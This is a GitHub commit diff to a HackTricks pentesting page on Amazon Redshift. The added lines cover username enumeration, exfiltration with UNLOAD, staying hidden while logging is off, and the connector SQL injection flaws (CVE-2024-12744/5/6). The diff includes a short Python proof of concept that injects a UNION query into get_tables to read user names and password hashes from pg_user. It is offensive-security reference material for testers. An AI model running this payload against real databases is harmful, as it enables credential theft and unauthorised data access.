Skip to content

Commit 1619fa0

Browse files
author
HackTricks News Bot
committed
Add content from: Research Update: Enhanced src/network-services-pentesting/54...
1 parent f18379f commit 1619fa0

1 file changed

Lines changed: 14 additions & 3 deletions

File tree

src/network-services-pentesting/5439-pentesting-redshift.md

Lines changed: 14 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -58,15 +58,26 @@ Errors differentiate bad password vs missing user → potential **username enume
5858
- If login succeeds, Redshift lacks superuser in serverless; in provisioned clusters the master user has broad rights including creating UDFs (Python), external schema to Spectrum, COPY from attacker S3, and `UNLOAD` to exfil data.
5959
- Check cluster parameter group for `max_concurrency_scaling_clusters`, `require_ssl`, `enable_user_activity_logging` – logging disabled aids stealth.
6060
- Serverless workgroups still reachable via TCP; same SQL attack surface as provisioned clusters.
61+
- **Client-side metadata SQLi (Dec 2024)**: JDBC 2.1.0.31, Python connector 2.1.4 and ODBC 2.1.5.0 build metadata queries with unquoted user input in `getSchemas/getTables/getColumns` (CVE-2024-12744/5/6). If an app lets attackers control catalog or pattern arguments, you can inject arbitrary SQL that runs with the DB user used by the connector.
62+
```python
63+
# exploit vulnerable python connector 2.1.4 via metadata API
64+
import redshift_connector
65+
conn = redshift_connector.connect(host='<endpoint>', database='dev', user='lowpriv', password='pw')
66+
cur = conn.cursor()
67+
# injection in table_pattern leaks data from pg_tables
68+
cur.get_tables(table_schema='public', table_name_pattern="%' UNION SELECT usename,passwd FROM pg_user--")
69+
```
70+
- **UDF execution model change**: Python UDFs stop working June 30, 2026; only Lambda UDFs allowed after. Offensive impact: legacy provisioned clusters still run Python UDFs for in-cluster code exec (no FS/network). Lambda UDFs move code to Lambda where the IAM role may reach Internet/VPC endpoints for SSRF/pivot but with no direct cluster filesystem access. Hunting old clusters with Python UDFs enabled can still yield RCE primitives.
6171
6272
## Recent security changes (offense impact)
6373
64-
- **Public access disabled by default** on new clusters/snapshots; legacy ones may still be public.
74+
- **Public access disabled by default** on new clusters/snapshots (Jan 10, 2025 change). Legacy ones may still be public.
6575
- **Encryption at rest + enforced TLS by default** means sniffing/mitm harder; need valid credentials or SSRF into VPC path.
76+
- **Serverless VPCE rollout change (Jun 27, 2025)**: workgroup endpoints created in up to 3 AZs at creation time. Discovery tools should enumerate all workgroup VPCE DNS names per AZ to find reachable IPs.
6677
6778
## References
6879
69-
- [AWS Security BlogRedshift enhances security defaults (public access off, require SSL, encryption) – Nov 2024](https://aws.amazon.com/blogs/security/amazon-redshift-enhances-security-by-changing-default-behavior-in-2025/)
70-
- [AWS Docs – Options for providing IAM credentials (JDBC/ODBC IAM/SAML plugins)](https://docs.aws.amazon.com/redshift/latest/mgmt/options-for-providing-iam-credentials.html)
80+
- [AWS Security BulletinSQLi in Redshift JDBC/Python/ODBC drivers (CVE-2024-12744/5/6)](https://aws.amazon.com/security/security-bulletins/AWS-2024-015/)
81+
- [AWS Big Data Blog – Python UDF end-of-support and migration to Lambda UDFs (Jan 2026)](https://aws.amazon.com/blogs/big-data/amazon-redshift-python-user-defined-functions-will-reach-end-of-support-after-june-30-2026/)
7182
7283
{{#include ../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)